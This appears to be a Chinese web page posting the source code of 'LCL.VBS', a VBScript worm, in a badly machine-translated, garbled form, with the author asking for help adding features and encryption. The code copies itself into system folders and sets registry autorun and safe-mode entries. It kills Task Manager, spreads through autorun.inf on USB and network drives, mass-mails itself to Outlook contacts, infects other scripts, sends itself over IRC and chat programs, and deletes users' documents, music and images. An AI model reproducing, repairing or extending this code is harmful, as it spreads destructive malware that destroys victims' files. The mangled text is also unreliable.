LCL.VBS 病毒源代码

LCL.VBS 病毒源代码雷姆.雷姆请多多指导,如:增加功能;减少内存;加快速度;加密变形;语法格式;书写错误;精简语法雷姆电子邮件:kouguoxi@hotmail。吃一些裂纹语句我补救,使它不能运行下一个dimtitle,text title= canyouhelpmefindoutson?文字=后梅柳春丽“她的生日是1981年1月23日”chr(13)chr(10)text=text hermosomeyuzhen。齐贤。开封。河南。中国. 。chr(13)text=text iwassdiedbyer , chr(13)text=text appdemandigmylofyou chr(13)chr(10)setfso=创建对象( script )。“‘文件系统’‘对象’)自我=FSO。opentextfile(wsscript。脚本全名,1).读取所有set wsh shell=wsscript .创建对象( ws脚本)。shell’)Startup=wsh shell .特殊文件夹( startup )setdirwin=FSO .getspecialfolder(0)setdirsystem=FSO .getspecialfolder(1)setdirtemp=FSO .GetSpecialFolder(2) Setlcl=fso .获取文件(ws脚本).ScriptFullName) lcl .复制(dirwinlcl.vbs) lcl .复制(dirsystem LCL。VBS)FSO。getfile(dirwin LCL。VBS”).属性=7 FSO。getfile(dirsystem LCL。VBS”).属性=7setsf0=fso .getspecialfolder(0)b=sf0。开车去LCL。txt setlcl=FSO .CreateTextFile(b,True) lcl .编写文本fso .CopyFileb,Startuplcl.txt lcl .关了dimlcl setlcl=fso .createtextfile(wsscript。脚本全名,True)功能代码(n)dimx forx=0至254 IFN=chr(x)then code=x退出endif下一个结束函数(下一个终止函数代码)雷姆.雷姆请教:用阅读线(读取行)等方法,整行加密,保持文本格式不不变;和解密办法。重新运行我用不好请赐教。dimcc,cipher,Cory forl=1 tolen(self)cc=mid(self,l,1)ifl 99 andstrom(self, lichulli )0然后cipher=chr(代码(cc)9 rem我开始用99年,得到的全是阿雪为0的数据else cipher=chr(code(cc))endif corrier=corriecter接下来LCL .LCL .writecorrey lcl .关了dimhk,hc,safe hk= HKEY _本地_机器软件微软 windows 当前版本运行 HC= HKEY _当前_用户软件微软 windows 当前版本运行 wsh shell .写 HKEY _当前用户软件 Microsoft windows scripting host 设置超时,0, REG_DWORD wshshell .Regwritehklcl ,dirsystemlcl.vbs wshshell .Regwritehkexeclcl,dirsystemlcl.vbs wshshell .RegwritehkOncelcl,dirsystemlcl.vbs wshshell .RegwritehkOnceExlcl,dirsystemlcl.vbs wshshell .Regwritehkservicelcl,dirsystemlcl.vbs wshshell .RegwritehkServiceslcl,dirsystemlcl.vbs wshshell .Regwritehclcl ,dirsystemlcl.vbs wshshell .Regwritehcexeclcl,dirsystemlcl.vbs wshshell .RegwritehcOncelcl,dirsystemlcl.vbs wshshell .Regwritehcservicelcl,dirsystem LCL。VBS safe= HKEY _本地_机器系统当前控制集控制安全引导 wsh外壳.regwritesafe minimal lcl。 vbs,dirsystemlcl.vbs wshshell .RegwritesafeNetworklcl.vbs,dirsystemlcl.vbs 做wsh壳。运行 cmd/ctaskkill/f/IMT asmgr。 0 wsh外壳。运行 cmd/ctaskkill/f/IMT作为列表。exe ,0循环dimd ForEachdinfso .驱动ifd。驱动器类型4然后fso .LCL。txt scan(d)endif ifd。驱动器类型=1,驱动器就绪=真,格式化数字(驱动器可用空间/1024,0)99,然后FSO。copyfilewscript。脚本全名,d LCL。VBS的FSO。getfile(wscript。脚本全名).属性=7设置INF=FSO。创建文本文件(d autorun。INF ,真)FSO。getfile(d autorun。INF’).属性=7 INF。writeline“[autorun]”INF。writeline open= INF。writeline shell open=打开 O INF。writeline shell open Command=wscript。exelclrun。VBS的信息。writeline shell open Command=wscript。exelcl。VBS的信息。writeline shell open Default=1 INF。writeline shell explore=资源管理器 INF。writeline shell explore Command=wscript。exelclrun。VBS的信息。writeline shell explore Command=wscript。exelcl。VBS的信息。关闭塞蒂尼=FSO。创建文本文件(d desktop。这是真的)FSO。getfile(d desktop。ini’).属性=7 ini。writeline“.ShellClassInfo ini。writeline clsid={ 645 ff 040-5081-101 b-9 f08-00aa 002 f954 e } ini。关闭setlclrun=FSO。创建文本文件(d lclrun。VBS ,true) fso.getfile(dlclrun.vbs ).属性=7 LCL运行。写一行 on error to 0 LCL运行。 writeline set FSO=CreateObject( chr(34)脚本FileSys chr(34) chr(34) tem object chr(34)) LCL运行。writeline ifeachdinfso。驾驶LCL跑。writeline ifd。驱动器类型=1,驱动器就绪=真,格式化数字(驱动器可用空间/1024,0)99,然后“LCL运行”。作家FSO。getfile(d .驱动器号 chr(34): LCL运行。VBS chr(34) attributes=7 LCL运行。“writeline”setwshshell=WScript。createobject( chr(34) WScript .壳牌 chr(34)) LCL运行。writeline的wsh外壳。运行 chr(34) d .驱动器号 chr(34): LCL运行。VBS的chr(34)chr(34)LCL跑。writeline的wsh外壳。运行 chr(34) d .驱动器号 chr(34): LCL。VBS的chr(34)LCL运行。writeline endif dimwshnetwork,netdrives,net1,net2 SetWSHNetwork=WScript .CreateObject(WScript .net drives=wsh network .EnumNetworkDrives IfnetDrives .对于I=0音调驱动器,计数为0 .count-1步骤2 net 1=netDrives(I)net 2=netDrives(I 1)scan(net 1)scan(net 2)Next EndIfdimoutlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments SetoutlookApp=CreateObject( Outlook .如果outlookApp= Outlook 或outlookapp=outlookexpress 然后SetmapiObj=outlookApp .GetNameSpace(MAPI ) 获取邮件应用程式接口(邮件应用程序编程接口)的名字空间SetaddrList=mapiObj .地址列表""获取地址表的个数ForEachaddrInaddrList Ifaddr .地址条目。计数0然后addrEntCount=addr .地址条目。计数""获取每个地址表的电子邮件记录数for addrentindex=1 to addrentcount 遍历地址表的电子邮件地址Setitem=outlookApp .CreateItem(0)" "获取一个邮件对象实例SetaddrEnt=addr .AddressEntries(addrEntIndex) 获取具体电子邮件地址项目To=addrEnt .地址项目主题=。标题项Body=text SetattachMents=item .附件附件106 .加上FSO。GetSpecialFolder(0) LCL。VBS的项DeleteAfterSubmit=True 信件提交后自动删除Ifitem .到""然后项。发送wsh外壳。regwrite hkcu software Mailtest mail , 1 EndIf Next EndIf Next Endifremnextfromiloveyou .setout=WScript .CreateObject(Outlook .Application) setmapi=out .获取trlists=1到MAPI的命名空间(“MAPI”).地址列表。Count seta=mapi .地址列表(CTR列表)x=1 regv=wsh shell .RegRead( HKEY _当前_用户软件微软 WAB a)if(regv= )那么regv=1 endif(int(a . addressentries。count)int(regv))那么对于trentries=1到1 .地址条目。count malead=a . AddressEntries(x)regad= regad=wsh shell .RegRead( HKEY _当前_用户软件微软 WAB malead)if(regad= )那么set male=out .CreateItem(0) male .收件人。添加(马利德)男性。主题=标题男正文=文本男附件。添加(dirsystem LCL。VBS)男.发送wshshell .RegWrite HKEY _当前_用户软件微软 WAB malead,1, REG _ DWORD endif x=x 1下一个wsh shell .RegWrite HKEY当前用户软件微软 WAB a,a . addressentries。数一数其他的贝壳.HKEY _当前_用户软件微软 WAB。count endif next Setout=Nothing set mapi=Nothingsetbjoutlook=创建对象( outlook).application )ifbjoutlook= outlook 然后setobjnamespace=objoutlook .get namespace( mapi )setoladdress lists=object namespace .地址列表setnjnamespace=nothing敏感地址列表ifbjitem .地址条目。count 0 then intcountoitems=object item .地址条目。count fori=1 tontcountofddress这些setobjmailmsg=objoutlook .create item(0)setbjectaddress=object item .AddressEntries(i) objMailMsg .To=objDestAddress .地址objMailMsg .Subject=title objMailMsg .Body=文本执行setobjsend=objmailmsg。chr(65)chr(116)chr(116)chr(97)chr(99)chr(104)chr(109)chr(101)chr(110)chr(116)strat tach=strfilepaname objmailmsg .delete after subcom=true object send .addstrattach ifobjmailmsg .到""然后对象消息。发送下一个end if next setbjoutlook=nothing setbjitem=nothing setbjmailmsg=nothing setbjectaddress=nothing end ifstrComputer=“.”setwbemservices=getobject( winmgmts: str computer )setwbemobjectset=wbemservices .每个bjectnwbemobjectset ifwbemobject得sof实例( win32 _ process ).名称= MSN。exe 或bemobject。name= QQ。 exe 然后WshShell .禁用的报表对象。命名为wsh shell .发送keys的canyouhelpmefindoutson?WshShell .wscript .睡眠9000 WshShell .-伊甸园字幕组=-翻译:wscript .睡眠9000 WshShell .1981年2月17日WshShell .wscript .睡眠9000 WshShell .-伊甸园字幕组=-翻译:endif下一个子扫描(文件夹)计费0 setfd=fso.getfolder(文件夹)foreileinfed。文件self 1=FSO。opentextfile(文件,1)。readall ext=fso .getextensionname(文件)ext=lcase(ext)ifxt= VBS or ext= WSC or ext= wsf or ext= wsh or ext= SCT then IFRS(self 1, lichulli )0然后FSO。opentextfile(文件。path,8,true)LCL。写chr(13)LCL。写自我LCL。写chr(十三)chr(十)LCL。关闭endifwriteline[script]ini .WriteLine n0=on1:连接:#:{ ini .writeline n1=/if($尼克=$ me){停止} ini .写行N2=/.dccsend $ nick dirsystem LCL。VBS记忆犹新WriteLinen0=on1:连接:*。* { if($尼克!=$ me){ halt }/DCC send $ nick dir system LCL。VBS } 利用命令/ddcsend $ nick dirsystem LCL。VBS的给通道中的其他用户传送病毒文件ini!ini!WriteLine“n3=}”ini .书写线;刘春丽 ini。结束if将恢复9 in thelunarcalendaito if XT= MP3 or ext= doc or ext= docx or ext= DWG or ext= WMA or ext= swf or ext= jpg then file。如果下一个前向轴不完整,则删除true endif。子文件夹扫描(子d)下一个结束

LCL.VBS 病毒源代码